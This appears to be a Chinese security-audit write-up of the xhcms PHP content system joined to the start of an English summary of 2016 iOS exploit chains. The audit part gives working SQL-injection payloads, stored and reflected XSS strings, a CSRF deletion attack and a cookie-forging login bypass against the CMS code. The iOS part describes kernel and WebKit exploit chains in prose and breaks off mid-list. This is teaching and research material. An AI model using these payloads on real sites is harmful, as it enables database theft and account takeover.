@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，链接已经成功编辑。');location.href='?r=linklist'</script>";
exit;
//name等参数不做过滤，直接传入查询更新
同样的漏洞出现方式，对可控变量不做过滤，直接单引号闭合开始查询更新数据。利用payload：
?r=editlink&id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
或者POST注入(直接填在框内，点击保存)
name=1&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'
下一个
##### /admin/files/editsoft.php
$id=$_GET['id'];
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());//典中点，不再提
$download = mysql_fetch_array($resul);
$save=$_POST['save'];
$title=$_POST['title'];
$author=$_POST['author'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$images=$_POST['images'];
$daxiao=$_POST['daxiao'];
$language=$_POST['language'];
$version=$_POST['version'];
$demo=$_POST['demo'];
$url=$_POST['url'];
$softadd=$_POST['softadd'];
$softadd2=$_POST['softadd2'];
$content=$_POST['content'];
$xs=$_POST['xs'];
if ($xs==""){ $xs=1;}
if ($save==1){
//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$imageset = mysql_fetch_array($result);
$query = "UPDATE download SET
title='$title',
keywords='$keywords',
description='$description',
$images
daxiao='$daxiao',
language='$language',
version='$version',
author='$author',
demo='$demo',
url='$url',
softadd='$softadd',
softadd2='$softadd2',
xs='$xs',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，下载,".$imgsms."成功更新。');location.href='?r=softlist'</script>";
exit;
同上，典中点无脑sql,不再提
下一个
##### /admin/files/editwz.php
一样的注入
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
##### /admin/files/imageset.php
if ($filename<>""){
$images="img_logo='$filename',";
}
$query = "UPDATE imageset SET
img_kg='$img_kg',
$images
img_weizhi='$img_weizhi',
img_slt='$img_slt',
img_moshi='$img_moshi',
img_wzkd='$img_wzkd',
img_wzgd='$img_wzgd'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，图片设置成功更新。');location.href='?r=imageset'</script>";
同样的注入问题，不再详说，不过这个文件里宁一段代码引起了我的注意：
if(!empty($_FILES['images']['tmp_name'])){
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/watermark";//图片上传的目录，这里是当前目录下的upload目录，可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
}
包含了个../inc/up.class.php,文件上传相关，不得不引人注目，此处没有利用点，跟进一下这个包含的文件看看：
<?php
class FileUpload_Single
{
//user define -------------------------------------
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|bmp|png";//string jpg|gif|bmp ...
var $filePrefix= "";//上传后的文件名前缀，可设置为空
var $changNameMode=0;//图片改名的规则，暂时只有三类，值范围 : 0 至 2 任一值
var $uploadFile;//array upload file attribute
var $newFileName;
var $error;
function TODO()
{//main 主类:设好参数，可以直接调用
$pass = true ;
if ( ! $this -> GetFileAttri() )
{
$pass = false;
}
if( ! $this -> CheckFileMIMEType() )
{
$pass = false;
$this -> error .= die("<script language=\"javascript\">alert('图片类型不正确，允许格式：jpg｜jpeg｜gif｜bmp。');history.back()</script>");
}
if( ! $this -> CheckFileAttri_size() )
{
$pass = false;
$this -> error .= die("<script language=\"javascript\">alert('上传的文件太大，请确保在".$fileSize."K以内。');history.back()</script>");
return false;
}
if ( ! $this -> MoveFileToNewPath() )
{
$pass = false;
$this -> error .= die("<script language=\"javascript\">alert('上传失败！文件移动发生错误！');history.back()</script>");
}
return $pass;
}
function GetFileAttri()
{
foreach( $_FILES as $tmp )
{
$this -> uploadFile = $tmp;
}
return (empty( $this -> uploadFile[ 'name' ])) ? false : true;
}
function CheckFileAttri_size()
{
if ( ! empty ( $this -> fileSize ))
{
if ( is_numeric( $this -> fileSize ))
{
if ($this -> fileSize > 0)
{
return ($this -> uploadFile[ 'size' ] > $this -> fileSize * 1024) ? false : true ;
}
}
else
{
return false;
}
}
else
{
return false;
}
}
function ChangeFileName ($prefix = NULL , $mode)
{// string $prefix , int $mode
$fullName = (isset($prefix)) ? $prefix."" : NULL ;
switch ($mode)
{
case 0 : $fullName .= rand( 0 , 100 ). "_" .strtolower(date ("ldSfFYhisa")) ; break;
case 1 : $fullName .= rand( 0 , 100 ). "_" .time(); break;
case 2 : $fullName .= rand( 0 , 10000 ) . time(); break;
default : $fullName .= rand( 0 , 10000 ) . time(); break;
}
return $fullName;
}
function MoveFileToNewPath()
{
$newFileName = NULL;
$newFileName = $this -> ChangeFileName( $this -> filePrefix , 2 ). "." . $this -> GetFileTypeToString();
//检查目录是否存在,不存在则创建，当时我用的时候添加了这个功能，觉得没用的就注释掉吧
/*
$isFile = file_exists( $this -> accessPath);
clearstatcache();
if( ! $isFile && !is_dir($this -> accessPath) )
{
echo $this -> accessPath;
@mkdir($this -> accessPath);
}*/
$array_dir=explode("/",$this -> accessPath);//把多级目录分别放到数组中
for($i=0;$i<count($array_dir);$i++){
$path .= $array_dir[$i]."/";
if(!file_exists($path)){
mkdir($path);
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////
if ( move_uploaded_file( $this -> uploadFile[ 'tmp_name' ] , realpath( $this -> accessPath ) . "/" . $newFileName ) )
{
$this -> newFileName = $newFileName;
return true;
}else{
return false;
}
/////////////////////////////////////////////////////////////////////////////////////////////////
}
function CheckFileExist( $path = NULL)
{
return ($path == NULL) ? false : ((file_exists($path)) ? true : false);
}
function GetFileMIME()
{
return $this->GetFileTypeToString();
}
function CheckFileMIMEType()
{
$pass = false;
$defineTypeList = strtolower( $this ->defineTypeList);
$MIME = strtolower( $this -> GetFileMIME());
if (!empty ($defineTypeList))
{
if (!empty ($MIME))
{
foreach(explode("|",$defineTypeList) as $tmp)
{
if ($tmp == $MIME)
{
$pass = true;
}
}
}
else
{
return false;
}
}
else
{
return false;
}
return $pass;
}
function GetFileTypeToString()
{
if( ! empty( $this -> uploadFile[ 'name' ] ) )
{
return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );
}
}
}
?>
很不幸，处理严格，没发现可利用点（或者是实力不足，有问题没看出来？遗憾~~~）
下一个
##### /admin/files/manageinfo.php
$query = "UPDATE content SET
navclass='$navclass',
title='$title',
toutiao='$toutiao',
author='$author',
keywords='$keywords',
description='$description',
xs='$xs',
$images
content='$content',
editdate=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，文章,".$imgsms."成功修改。');location.href='?r=wzlist'</script>";
exit;
同上，差异不大，直接post框内注入即可
下一个
##### /admin/files/newlink.php
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
if ($save==1){
if ($name==""){
echo "<script>alert('抱歉，链接名称不能为空。');history.back()</script>";
exit;
}
if ($url==""){
echo "<script>alert('抱歉，链接地址不能为空。');history.back()</script>";
exit;
}
$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误：'.mysql_error());
echo "<script>alert('亲爱的，链接已经成功添加。');location.href='?r=linklist'</script>";
exit;
这里终于有了一点不同（仅限于sql语句，555555）没有新意，还是构造闭合直接开注即可
name=123&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'
//框中填写提交即可
下一个：
##### /admin/files/reply.php
无新意，不再提
下一个
##### /files/content.php
关键代码
$id=addslashes($_GET['cid']);//addlashes()函数处理，难道没戏？
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$content = mysql_fetch_array($resul);
$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$navs = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理，这里就不加单引号保护，
@mysql_query($query) or die('修改错误：'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>
注意到两处：
$id=addslashes($_GET['cid']);//addlashes()函数处理，难道没戏？
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理，这里就不加单引号保护，那防了个寂寞，直接开注
payload:
http://127.0.0.1/index.php/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
下一个
##### /admin/files/seniorset.php 和 /admin/files/site.php和/files/downlows.php
依旧无新意直接注入即可
下一个
##### /files/software.php
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$download = mysql_fetch_array($resul);
默认情况下，PHP 指令 magic_quotes_gpc 为 on，对所有的 GET、POST 和 COOKIE 数据自动运行
addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用
addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
因为这里被GET传值就已经默认运行`addslashes()`，所以再次使用`addslashes()`就不起作用了，所以我们依旧还是可以进行报错注入。
payload：
?r=software&cid=1'or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
下一个
##### /install/index.php重装注入
关键代码
$conn = @mysql_connect($dbhost,$dbuser,$dbpwd) or die('数据库连接失败，错误信息：'.mysql_error());
mysql_select_db($dbname) or die('数据库错误，错误信息：'.mysql_error());
mysql_query('SET NAMES UTF8') or die('字符集设置错误'.mysql_error());
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "管理信息已经成功写入!<br /><br />";
user、password等变量未经过滤直接拼接，存在可利用注入。尝试利用（重装需要先删除/install目录下的InstallLock.txt文件，然后访问根目录，开始重装）
payload:
1' or extractvalue(1,concat(0x7e,(select version()),0x7e))#
请勿刷新及关闭浏览器以防止程序被中止，如有不慎！将导致数据库结构受损
正在导入备份数据，请稍等！
正在导入sql：seacms.sql
数据库导入成功！
正在导入sql：seacms.sql
数据库导入成功！
MySQL数据库连接配置成功!
修改错误：XPATH syntax error: '~5.5.53~'
//可以看到爆出数据库版本5.5.53
到此处，我能找到的sql相关的漏洞就结束了，说实话，这个cms不愧是足够老，足够适合新手，这sql漏洞基本没有防御。
#### 三、文件包含文件读取
##### /files/downloads.php
seay报警此文件有危险的任意文件包含，文件下载
看代码：
<?php
require 'inc/conn.php';
$line=addslashes($_GET['line']);
$type=addslashes($_GET['type']);
$fileid=addslashes($_GET['cid']);
if(!is_numeric($fileid)){
echo "错误的下载请求！";
exit;}
$query = "SELECT * FROM download WHERE ( id='$fileid')";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$down= mysql_fetch_array($result);
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];
if ($type=='soft' AND $line=='pan'){
if ($fileadd2==""){
echo "<script language=JavaScript>alert('抱歉，程序尚在开发当中，请稍后再试！');history.back();window.close();</script>";
exit;
}
//下载计数
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误：'.mysql_error());
header("Location: $fileadd2");
exit;
}
if ($type=='soft' AND ($line=="telcom" OR $line=="unicom")){
$filename=$down['title'];
$filename2=$down['version'];
$filename=iconv("UTF-8", "GBK", $filename);
$houzhui=substr($fileadd,strrpos($fileadd,"."));
$sourceFile = $fileadd; //要下载的临时文件名
$outFile = $filename." ".$filename2.$houzhui; //下载保存到客户端的文件名
$file_extension = strtolower(substr(strrchr($sourceFile, "."), 1)); //获取文件扩展名
//echo $sourceFile;
//if (!ereg("[tmp|txt|rar|pdf|doc]", $file_extension))exit ("非法资源下载");
//检测文件是否存在
if (!is_file($sourceFile)) {
die("<script language=JavaScript>alert('抱歉，本地下载未发现文件，请选择网盘下载！');history.back();window.close();</script>");
}
$len = filesize($sourceFile); //获取文件大小
$filename = basename($sourceFile); //获取文件名字
$outFile_extension = strtolower(substr(strrchr($outFile, "."), 1)); //获取文件扩展名
//根据扩展名 指出输出浏览器格式
switch ($outFile_extension) {
case "exe" :
$ctype = "application/octet-stream";
break;
case "zip" :
$ctype = "application/zip";
break;
case "mp3" :
$ctype = "audio/mpeg";
break;
case "mpg" :
$ctype = "video/mpeg";
break;
case "avi" :
$ctype = "video/x-msvideo";
break;
default :
$ctype = "application/force-download";
}
//Begin writing headers
header("Cache-Control:");
header("Cache-Control: public");
//设置输出浏览器格式
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=" . $outFile);
header("Accept-Ranges: bytes");
$size = filesize($sourceFile);
//如果有$_SERVER['HTTP_RANGE']参数
if (isset ($_SERVER['HTTP_RANGE'])) {
/*Range头域 Range头域可以请求实体的一个或者多个子范围。
例如，
表示头500个字节：bytes=0-499
表示第二个500字节：bytes=500-999
表示最后500个字节：bytes=-500
表示500字节以后的范围：bytes=500-
第一个和最后一个字节：bytes=0-0,-1
同时指定几个范围：bytes=500-600,601-999
但是服务器可以忽略此请求头，如果无条件GET包含Range请求头，响应会以状态码206（PartialContent）返回而不是以200 （OK）。
*/
// 断点后再次连接 $_SERVER['HTTP_RANGE'] 的值 bytes=4390912-
list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
//if yes, download missing part
str_replace($range, "-", $range); //这句干什么的呢。。。。
$size2 = $size -1; //文件总字节数
$new_length = $size2 - $range; //获取下次下载的长度
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length"); //输入总长
header("Content-Range: bytes $range$size2/$size"); //Content-Range: bytes 4908618-4988927/4988928 95%的时候
} else {
//第一次连接
$size2 = $size -1;
header("Content-Range: bytes 0-$size2/$size"); //Content-Range: bytes 0-4988927/4988928
header("Content-Length: " . $size); //输出总长
}
//打开文件
$fp = fopen("$sourceFile", "rb");
//设置指针位置
fseek($fp, $range);
//虚幻输出
while (!feof($fp)) {
//设置文件最长执行时间
set_time_limit(0);
print (fread($fp, 1024 * 8)); //输出文件
flush(); //输出缓冲
ob_flush();
}
fclose($fp);
//下载计数
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误：'.mysql_error());
exit ();
}
?>
报警处在
$fp = fopen("$sourceFile", "rb");
//设置指针位置
fseek($fp, $range);
//虚幻输出
while (!feof($fp)) {
//设置文件最长执行时间
set_time_limit(0);
print (fread($fp, 1024 * 8)); //输出文件
flush(); //输出缓冲
ob_flush();
}
fclose($fp);
fread()函数，字节输出文件，跟进变量$fp-->$sourceFile
$houzhui=substr($fileadd,strrpos($fileadd,"."));
$sourceFile = $fileadd; //要下载的临时文件名
$outFile = $filename." ".$filename2.$houzhui; //下载保存到客户端的文件名
$file_extension = strtolower(substr(strrchr($sourceFile, "."), 1)); //获取文件扩展名
##### //echo $sourceFile;
继续跟进$fileadd-->$down
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];
if ($type=='soft' AND $line=='pan'){
if ($fileadd2==""){
echo "<script language=JavaScript>alert('抱歉，程序尚在开发当中，请稍后再试！');history.back();window.close();</script>";
exit;
继续$down
$line=addslashes($_GET['line']);
$type=addslashes($_GET['type']);
$fileid=addslashes($_GET['cid']);
if(!is_numeric($fileid)){
echo "错误的下载请求！";
exit;}
$query = "SELECT * FROM download WHERE ( id='$fileid')";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$down= mysql_fetch_array($result);
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];
跟进到此处，希望断绝，$down来自数据库查询结果$result,而$result的来源GET参数cid经过了addlashes()函数处理，变得不可控，因此此处变量实际不可控制，导致爆出的任意文件操作漏洞成为误报。并且由于addlashes()函数的存在，且后面的变量处理（"SELECT
* FROM download WHERE ( id='$fileid')"）严格，又导致刚刚有希望的sql注入希望破灭。
不纠结，下一个
##### /inc/db.class.php
seay爆此文件有任意文件操作漏洞，看一下代码：
@param string $sql
\* @param string $filename
\* @param string $dir
\* @return boolean
*/
private function _write_file($sql, $filename, $dir) {
$dir = $dir ? $dir : './backup/';
// 创建目录
if (! is_dir ( $dir )) {
mkdir ( $dir, 0777, true );
}
$re = true;
if (! @$fp = fopen ( $dir . $filename, "w+" )) {
$re = false;
$this->_showMsg("打开sql文件失败！",true);
}
if (! @fwrite ( $fp, $sql )) {
$re = false;
$this->_showMsg("写入sql文件失败，请文件是否可写",true);
}
if (! @fclose ( $fp )) {
$re = false;
$this->_showMsg("关闭sql文件失败！",true);
}
return $re;
}
追踪变量$fp,
! @$fp = fopen ( $dir . $filename, "w+" )
由变量$dir和$filename控制，但这两个参数不可控，因此变量$fp也不可控，所以此处因该是误报。
seay提到的文件操作漏洞就结束了，基本都是误报，变量一步步追溯到最后都不可控，可能是调用链长一些，就容易导致误报。
#### 四、XSS
##### 存储型xss
##### /seacmseditor/php/controller.php
seay工具报echo中存在可控变量，可能存在xss,打开看看代码：
/* 输出结果 */
if (isset($_GET["callback"])) {
if (preg_match("/^[\w_]+$/", $_GET["callback"])) {
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
} else {
echo json_encode(array(
'state'=> 'callback参数不合法'
));
}
} else {
echo $result;
}
两个可疑输出点，两个可控变量，$_GET["callback"]和$result，其中$_GET["callback"]先是经过了preg
_match()函数进行/^[\w_
]+$/正则匹配，从头匹配任意一个字符与下划线组合一次或多次结尾，匹配到就返回1，否则返回0，又htmlspecialchars(）函数进行防xss处理，看来$_GET["callback"]变量基本没有可利用性了，再看看$result变量，
$CONFIG = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];
switch ($action) {
case 'config':
$result = json_encode($CONFIG);
break;
/* 上传图片 */
case 'uploadimage':
/* 上传涂鸦 */
case 'uploadscrawl':
/* 上传视频 */
case 'uploadvideo':
/* 上传文件 */
case 'uploadfile':
$result = include("action_upload.php");
break;
/* 列出图片 */
case 'listimage':
$result = include("action_list.php");
break;
/* 列出文件 */
case 'listfile':
$result = include("action_list.php");
break;
/* 抓取远程文件 */
case 'catchimage':
$result = include("action_crawler.php");
break;
default:
$result = json_encode(array(
'state'=> '请求地址出错'
));
break;
}
可以看到$result变量已经被限定死了，不可控，因此这处xss也是误报。到此处seay审计系统报给我们的漏洞就差不多审计完了，但是xss却没有找到，不甘心，回想之下，想到一开始
**/admin/files/adset.php**
文件中审计sql注入时，变量经过了addlashes()函数处理，因此sql注入被ban,但仔细看代码：
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$ad = mysql_fetch_array($resul);
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，广告设置成功更新。');location.href='?r=adset'</script>";
exit;
}
?>
可以看到$ad1-3经过addslashes()函数处理一次带入了页面（这里很疑惑，addlashe()函数会转义预定义字符(单·双引号、反斜杠（\）、NULL)，因此按理来说网上有些师傅给出的xsspayload:
如：
<script>alert('hahhaha')</script>
在经过处理后，单引号（’）被转义，payload应该是不能生效的才对)带着疑问进行尝试后，果然，payload失效。
那么问题究竟在哪里？上网搜索，有师傅给出的解释是addlashes()函数主要是用于防范sql注入，对xss过滤基本没有效果，但具体原因没有说明，
**ps:有大师傅知道能讲解一下吗？**
查资料搜索addlashes()函数，了解到
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是：
单引号（'）
双引号（"）
反斜杠（\）
NULL
提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
**因为php会默认对某些预定义符号进行转义处理，因此如果此处再用addlashes()函数处理，会造成二次转义，使防范失效。**
在 **/seacmseditor/php/controller.php** 文件底部，看到：
<div class="form-group">
<label class="col-lg-4 control-label">广告一</label>
<div class="col-lg-8">
<textarea name="ad1" class="form-control col-lg-12" placeholder="ad-1"><?php echo $ad['ad1']?></textarea>
</div>
</div>
构造payload:
<textarea name="ad1" class="form-control col-lg-12" placeholder="ad-1"><?php echo $ad['ad1']?></textarea>
闭合<textarea》标签即可：
payload：
</textarea><script>alert('hahhahahaa')</script>
成功弹窗！因为此处和后端数据库存在交互，所以是一个 **存储型xss**
那么同样的原理，在前面我们找到过的sql注入点附近，似乎都只是进行了这样简单的过滤,是不是都存在这样的xss呢？
测试一下：
##### /admin/files/editcolumn.php
$columnopen='class="open"';
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
<div class="col-lg-8">
<input name="name" type="text" class="form-control" value="<?php echo $nav['name']?>">
</div>
</div>
<?php if ($type<>2){?>
<div class="form-group">
<label class="col-lg-4 control-label">链接</label>
<div class="col-lg-8">
<input name="link" type="text" class="form-control" value="<?php echo $nav['link']?>" >
</div>
</div>
<?php }?>
同样的输入同样的输出，只是这里多了个id和type来进入sql操作，payload打一打：
GET:
http://127.0.0.1/admin/?r=editcolumn&type=1&id=1
POST:
name=</textarea><script>alert('xss1')</script>&link=</textarea><script>alert('xss2')</script>&keywords=</textarea><script>alert('xss3')</script>&description=</textarea><script>alert('xss4')</script>&px=</textarea><script>alert('xss5')</script>&xs=0&content=<p> 请在后台栏目设置编辑这里的内容</p>&save=1
成功弹窗！数据库交互存储型xss
同样的方法,测试出在
##### /admin/file/editlink.php
##### **/admin/files/editsoft.php**
##### /admin/files/edittwz.php
##### /admin/files/imageset.php
等等文件中都存在存储型xss,还有一些前面sql注入测试中提到的文件都存在同样的问题，这里就不提了。
##### 反射型xss
##### /files/contact.php
files/contact.php 12~15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
这里的$page经过addslashes()函数处理一次带入了页面，经典问题。直接传payload打一打(因为addlashes()函数过滤，所以payload中不再使用单双引号，改用正斜杠)：payload：
http://127.0.0.1/?r=contact&page=<script>alert(/xss/)</script>
成功弹窗，因为这里没有和数据库的交互，所以只是一个反射型的xss漏洞。
##### **fiels/download.php**
$yemas=$_GET['page'];
if ($yemas<>""){
$yema=" - 第 $yemas 页";
}else{
$yema="";
}
$pageyema="r=".$navs['link']
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $navs['name']?><?php echo $yema ?> - <?php echo $info['name']?></title>
$yema变量未过滤，直接拼接输出，xss打一打：
http://127.0.0.1/?r=download&page=</title><script>alert('hahahha')</script>
成功弹窗
我白盒审计出的xss漏洞就这些了。
#### 五、csrf
##### admin/files/linklist.php
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=softlist'</script>";
exit;
}
?>
未经任何过滤检验，也没有执行token验证，可以执行csrf攻击，尝试：
点击删除，并抓包：
用burp自带工具一键生成一个poc利用一下：
换个浏览器访问：
可以看到，已经成功删除了！
除了这里，在
##### admin/files/wzlist.php
##### admin/files/softlist.php
##### admin/files/commentlist.php
##### admin/files/commentlist.php
等文件中也存在同样的漏洞问题，同样的利用方式。
#### 六、越权
##### /inc/checklogin.php
在进入到管理员首页时，首先会检测是否是登录的状态，而判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。显然，这种是有缺陷的。我们直接在cookie中添加user=admin即可进行登录
#### 总结
至此xhcms白盒审计就结束了，这个cms不愧是传说中极其适合新手审计的目标，简直是“漏洞百出”，哈哈。
审计过程中，seay审计工具给了很大帮助，很多简单的
注入漏洞直接就报警给出来了。不过也有一些误报，就是那些利用线长一些的变量，就需要我们自己去自习寻根问源了。在审计中，遇到了不少问题，一些漏洞不再是就在几行代码中就能找到，并加以利用，而是要寻根上朔，一步步把它理清，这对我养成精心看代码的习惯有很大帮助。
不过这个cms的审计就像师傅们说的一样，简单，适合新手，但像这个cms中一样简单的sql注入之类的漏洞现在几乎稀少到不可见了，因此，下一步就要更进一步，学习审计框架之类来进行提升。 | 社区文章 |
# **Summary of Critical and Exploitable iOS Vulnerabilities in 2016**
**Author：Min (Spark) Zheng, Cererdlong, Eakerqiu @ Team OverSky**
## **0x00 Introduction**
iOS security is far more fragile than you believe. And there are lots of
critical and exploitable iOS vulnerabilities in the wild. We summarized these
critical iOS vulnerabilities which can be used for remote code execution or
jailbreaking in this report. Hopefully, it can bring some help for your mobile
security research.
## **0x01 iOS 10.1.1 Critical and Exploitable Vulnerabilities**
1. **Mach_portal exploit chain** : The exploit chain was published by Ian Beer of Google Project Zero. The whole exploit chain consists of three vulnerabilities:
**CVE-2016-7637:** Broken kernel Mach port name uref handling on iOS/MacOS can
lead to privileged port name replacement in other processes.
**CVE-2016-7661:** MacOS/iOS arbitrary port replacement in powerd.
**CVE-2016-7644:** XNU kernel UaF due to lack of locking in
set_dp_control_port.
The attacker first uses CVE-2016-7637 to replace launchd's send right to
“com.apple.iohideventsystem” with a send right to a port which belongs to the
attacker. The attacker also holds the receive right of that port. Then the
attacker uses CVE-2016-7661 to crash the “powerd” daemon which runs as root.
Because of the daemon mechanism, the “powerd” will automatically restart but
its startup process will look up the “com.apple.iohideventsystem” Mach service
and send its own task port to that service. Because the attacker holds the
receive right of that port which means the “powerd” actually sends its task
port to the attacker. After that, the attacker uses “powerd”'s task port to
get the host_priv port which is used to trigger the XNU kernel UaF bug
(CVE-2016-7644). Because the kernel forgets to lock the set_dp_control_port
when releasing a reference on a port, the attacker can get a send right to the
kernel task port. After getting the kernel task port, the attacker can use
mach_vm_read() and mach_vm_write() which provided by the XNU system to modify
kernel memory.
In 2016.12.22, based on the Beer’s Mach_portal exploit chain, qwertyoruiop
added KPP bypass, kernel patch, and Cydia installation on this project. Then
he released iOS 10.0. _/10.1._ jailbreak for arm64 devices on
yalu.qwertyoruiop.com.
## **0x02 iOS 9.3.4 Critical and Exploitable Vulnerabilities**
1. **PEGASUS/Trident exploit chain** : The exploit chain was found from an apt issue for a human rights activist. There are three vulnerabilities in the Trident exploit:
**CVE-2016-4657:** Visiting a maliciously crafted website may lead to
arbitrary code execution.
**CVE-2016-4655:** An application may be able to disclose kernel memory.
**CVE-2016-4656:** An application may be able to execute arbitrary code with
kernel privileges.
For Safari browser, the vulnerability exists within the slowAppend() method of
MarkedArgumentBuffer in JavaScriptCore library and can be exploited via the
usage of a MarkedArgumentBuffer in the static defineProperties() method. The
Pegasus exploit chain triggers this vulnerability by passing a specially
crafted sequence of properties to the defineProperties() method and then gets
read/write and code execution ability.
For the XNU kernel, the vulnerability exists in the OSUnserializeBinary()
method which is used to unserialize the data from the user land input. Because
OSUnserializeBinary() doesn’t check the length of serialized OSNumber, the
attacker can get leaked kernel stack information using
io_registry_entry_get_property_bytes(). On the other hand, by using a crafted
serialized OSString Object, the attacker can trigger UaF vulnerability in the
kernel and then get the read and write ability of the kernel memory.
In addition, by using JavaScriptCore vulnerability, PEGASUS exploit chain can
persist after rebooting which means untethered jailbreak. Last but not least,
more details about this exploit chain can be referred to our previous article:
<https://jaq.alibaba.com/community/art/show?articleid=532> and DEMOs:
**Youtube:** <https://www.youtube.com/watch?v=EwRVvUKBSKQ>
**Youku:**<http://v.youku.com/v_show/id_XMTg4NzA5OTEwOA==.html>
## **0x03 iOS 9.3.3 Critical and Exploitable Vulnerabilities**
1. **IOMobileFramebuffer Kernel Heap Overflow** : This vulnerability exists in the IOMobileFramebuffer IOKit kernel service. Because IOMobileFramebuffer::swap_submit(IOMFBSwap *) doesn’t check the IOMFBSwap data from the user land, the attacker can use a crafted IOMFBSwap data to achieve a heap overflow in the kernel and then translate it into kernel read/write ability. This vulnerability can be triggered in the sandbox (do not need sandbox escapes) and it was used in the Pangu’s iOS 9.3.3 jailbreak.
## **0x04 iOS 9.3.2 Critical and Exploitable Vulnerabilities**
1. **WebKit heapPopMin Remote Code Execution:** This vulnerability exists in the WebCore ::TimerBase::heapPopMin() and the attacker can use this vulnerability to achieve arability code execution in Safari through a crafted html webpage. Note that the Safari process is sandboxed. So, the attacker needs to do a sandbox escape if he wants to get more user data or attack the kernel.
